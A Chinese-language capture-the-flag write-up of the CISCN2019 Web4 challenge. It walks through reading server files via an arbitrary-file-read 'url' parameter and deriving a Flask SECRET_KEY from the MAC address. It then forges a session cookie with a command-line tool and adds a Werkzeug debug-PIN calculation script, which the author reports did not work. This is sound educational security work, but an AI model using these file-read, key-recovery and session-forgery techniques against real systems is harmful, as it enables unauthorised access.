[CISCN2019 华东南赛区]Web4

题目

image-20240607172849511

看到url参数想到可能是ssrf或者是任意文件读取,尝试发现可以任意文件读取

image-20240607173042329

接着用/proc/self/cmdline获取启动指定进程的完整命令

image-20240607173850812

查看app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

看到源码里要获取flag就要让session[‘username’]=’fuck’,而在flask框架里的session保存在客户端,因此我们可以通过修改它进行session伪造来通过验证

image-20240607185317505

flask-session伪造

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

1
2
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZmLmgw._hBPbd_0yMRxOu6zTbpIZzZP8Z0
数据 时间戳 签名

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

因此我们要伪造session首先要拿到SECRET_KEY才行,而SECRET_KEY又是通过以下代码得到

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

uuid.getnode()返回一个唯一的硬件地址(通常是MAC地址)作为整数,而MAC地址我们可以通过/sys/class/net/eth0/address或者 /sys/class/net/ens33/address来获取

image-20240607191909743

转为十进制整数165923673471726,通过上面的代码可以得到SECRET_KEY(注意是python2,我这里是用/proc/self/exe看的,不清楚哪里还能看。。)

image-20240607192958927

image-20240607192521080

接下来就可以进行伪造了,这里可以用flask-session-cookie-manager工具

命令为

1
python3 flask_session_cookie_manager3.py encode -t "{'username':'fuck'}" -s "80.304681065"

image-20240607193255791

最后用伪造的session进行请求,得到flag

image-20240607193612324

一些思考

做题的时候看到debug=True就想到pin码了,根本没注意SECRET_KEY可以直接求出来,我觉得按构造pin码的方法做感觉好像也行啊,生成pin的源码可以通过/usr/local/lib/python2.7/site-packages/werkzeug/debug/__init__.py查看

可以拿到

1
2
3
4
5
username:glzjin
modname:flask.app
appname:Flask
mac:96:e8:1d:9d:fa:ee
boot-id:0f816b06-4c82-469d-9e76-581b0e44523d

除了app.py的绝对路径不确定,但是python2.7应该默认是/usr/local/lib/python2.7/dist-packages/flask/app.pyc

可是生成的pin码总是不对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import hashlib
from itertools import chain
#import re, random, uuid, urllib

probably_public_bits = [
'glzjin',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),

]

private_bits = [
'165923673471726',# str(uuid.getnode()), /sys/class/net/ens33/address
'0f816b06-4c82-469d-9e76-581b0e44523d'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

不清楚是不是绝对路径不对,难顶,就先这样了。